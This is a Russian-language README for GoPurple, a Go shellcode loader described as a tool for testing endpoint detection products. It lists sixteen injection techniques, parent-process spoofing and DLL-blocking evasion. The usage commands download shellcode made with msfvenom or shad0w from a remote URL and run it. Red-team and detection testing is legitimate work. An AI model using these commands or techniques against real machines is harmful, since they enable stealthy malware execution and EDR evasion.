
Еще один загрузчик шеллкода, содержащий различные техники для оценки возможностей обнаружения решений безопасности конечных точек.
Этот проект представляет собой простой сборник различных техник внедрения шеллкода, направленный на упрощение процесса оценки возможностей обнаружения конечных точек, а также как вызов для себя с целью погружения в мир Golang.
1 - Требуется установленный go.
2 - Соберите приложение из директории проекта: go build. Установите GOOS=windows, если система сборки не Windows.
_____ _
/ ____| | |
| | __ ___ _ __ _ _ _ __ _ __ | | ___
| | |_ |/ _ \| '_ \| | | | '__| '_ \| |/ _ \
| |__| | (_) | |_) | |_| | | | |_) | | __/
\_____|\___/| .__/ \__,_|_| | .__/|_|\___|
| | | |
|_| |_| by @s3cdev
-a string
Program command line arguments
-b string
block DLL mode (nonms/onlystore for QueueUserAPC )
-p int
Process ID to inject shellcode into
-prog string
program to inject into
-t string
shellcode injection technique to use:
1: CreateFiber
2: syscall
3: CreateThreadNative
4: CreateProcess
5: EtwpCreateEtwThread
6: CreateRemoteThread
7: RtlCreateUserThread
8: CreateThread
9: CreateRemoteThreadNative
10: CreateProcessWithPipe
11: QueueUserAPC
12: CreateThreadpoolWait
13: BananaPhone
14: EnumerateLoadedModules
15: EnumChildWindows
16: EnumPageFilesW
-u string
URL hosting the shellcode
Необходимо сгенерировать шеллкод — это можно сделать с помощью таких инструментов, как msfvenom или shad0w. Затем шеллкод нужно разместить для удалённой загрузки и выполнения на целевой машине. Для наглядности приведённые ниже демонстрации иллюстрируют различные способы использования инструмента.
1 - Внедрение шеллкода методом BananaPhone + Shad0w в качестве генератора шеллкода

2 - Внедрение шеллкода техникой QueueUserAPC + Shad0w в качестве генератора шеллкода + спуфинг ID родительского процесса (explorer в качестве родителя) + запуск процесса от имени подменного родителя, содержащего шеллкод (calc) + защита процесса от перехвата неподписанными DLL, чтобы только DLL, подписанные Microsoft, могли перехватывать процесс.

3 - Внедрение шеллкода с помощью CreateFiber + msfvenom в качестве генератора шеллкода

1 - gopurple.exe -u urlhostingpayload -t 1 (CreateFiber)
2 - gopurple.exe -u urlhostingpayload -t 2 (Syscall)
3 - gopurple.exe -u urlhostingpayload -t 3 (CreateThreadNative)
4 - gopurple.exe -u urlhostingpayload -t 4 (CreateProcess)
5 - gopurple.exe -u urlhostingpayload -t 5 (EtwpCreateEtwThread)
6 - gopurple.exe -u urlhostingpayload -t 6 -p targetprocess (CreateRemoteThread)
7 - gopurple.exe -u urlhostingpayload -t 7 -p targetprocess (RtlCreateUserThread)
8 - gopurple.exe -u urlhostingpayload -t 8 (CreateThread)
9 - gopurple.exe -u urlhostingpayload -t 9 -p targetprocess (CreateRemoteThreadNative)
10 - gopurple.exe -u urlhostingpayload -t 10 -prog porgram -a processargument (ex:C:\Windows\System32\WindowsPowerShell\v1.0) and processargument(ex:Get-Process) (CreateProcessWithPipe)
11 - gopurple.exe -u urlhostingpayload -t 11 -p targetpidasparentprocess -prog programtoinjectshellcodeinto -b methodtoblockdll(nonms or onlystore) (QueueUserAPC)
nonms = only DLLs that are signed by Microsoft can hook into the process
onlystore = only Microsoft store application's process can hook into the process
12 - gopurple.exe -u urlhostingpayload -t 12 (CreateThreadpoolWait)
13 - gopurple.exe -u urlhostingpayload -t 13 (BananaPhone)
14- gopurple.exe -u urlhostingpayload -t 14 (EnumerateLoadedModules)
15- gopurple.exe -u urlhostingpayload -t 15 (EnumChildWindows)
16- gopurple.exe -u urlhostingpayload -t 16 (EnumPageFilesW)
Вся заслуга принадлежит следующим людям за их потрясающие исследования, инструменты и вдохновение:
ne0nd0g: Большая часть этого проекта заимствована из go-shellcode
spotheplanet: Статья вдохновила меня конвертировать метод в Golang
_d00mfist: Отличная реализация техники QueueUserAPC на Golang
c__sto: Техника BananaPhone
batsec: Великолепный shad0w
chiragsavla94: Вдохновление из ProcessInjection
S4R1N: За представление новых альтернативных способов выполнения кода
Спасибо brimston3 за поддержку и вклад
(https://github.com/Ne0nd0g/go-shellcode)
(https://github.com/D00MFist/Go4aRun)
(https://github.com/BishopFox/sliver)
(https://posts.specterops.io/going-4-a-run-eb263838b944)
(https://github.com/C-Sto/BananaPhone)
(https://blog.xpnsec.com/protecting-your-malware)
(https://github.com/3xpl01tc0d3r/ProcessInjection)
(https://github.com/S4R1N/AlternativeShellcodeExec)
Этот проект создан исключительно для образовательных и этических целей тестирования. Использование GoPurple для атак на цели без предварительного взаимного согласия незаконно. Конечный пользователь несёт ответственность за соблюдение всех применимых местных, государственных и федеральных законов. Разработчики не несут ответственности за любое неправомерное использование или ущерб, причинённый этой программой.